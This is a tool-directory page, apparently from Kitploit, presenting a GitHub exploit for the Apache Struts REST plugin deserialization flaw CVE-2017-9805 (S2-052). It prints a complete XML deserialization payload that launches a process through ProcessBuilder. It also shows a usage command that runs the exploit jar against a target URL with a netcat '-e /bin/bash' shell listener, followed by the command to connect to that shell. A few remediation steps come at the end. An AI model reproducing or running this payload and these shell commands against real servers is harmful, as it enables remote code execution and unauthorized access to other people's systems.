Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/beyondcy/s2-052
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubbeyondcy/s2-052

S2-052

CVE-2017-9805 - Exploit

View Repository
118 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2017-9805 (S2-052) Reverse Shell Exploit

Affected Versions

root@kitploit:~
Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

PoC

root@kitploit:~
Content-Type: application/xml

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>

Windows <command><string>calc</string></command>

Mac <command><string>/Applications/Calculator.app/Contents/MacOS/Calculator</string></command>

Vulnerability Reproduction Details

https://secfree.com/article-333.html

CentOS 7 Install Nc

root@kitploit:~
rpm -ivh netcat-1.10-891.2.x86_64.rpm

Options

root@kitploit:~
 [*] Apache Struts2 CVE-2017-9805 (S2-052) - Exploit
 [*] 0day Info:https://secfree.com/article-333.html
 [*] Use:        <targetUrl> <command>
 [*] Author:  www.secFree.com Team By Bearcat

Usage

root@kitploit:~
java -jar CVE-2017-9805-Exploit.jar http://192.168.199.246:8080/struts2-rest-showcase/orders.xhtml "nc -l -p 6666 -e /bin/bash"

nc 192.168.199.246 6666

exploit

This exploit only performs shell reverse. For command execution output, please visit https://github.com/luc10/struts-rce-cve-2017-9805

Remediation

  1. It is recommended to upgrade to version 2.5.13 as soon as possible.

  2. Remove the Struts REST plugin when not in use, or restrict to regular pages and JSONs on the server:

root@kitploit:~
<constant name=”struts.action.extension” value=”xhtml,,json” />
  1. Restrict server-side extension types and remove XML support.
Download Tool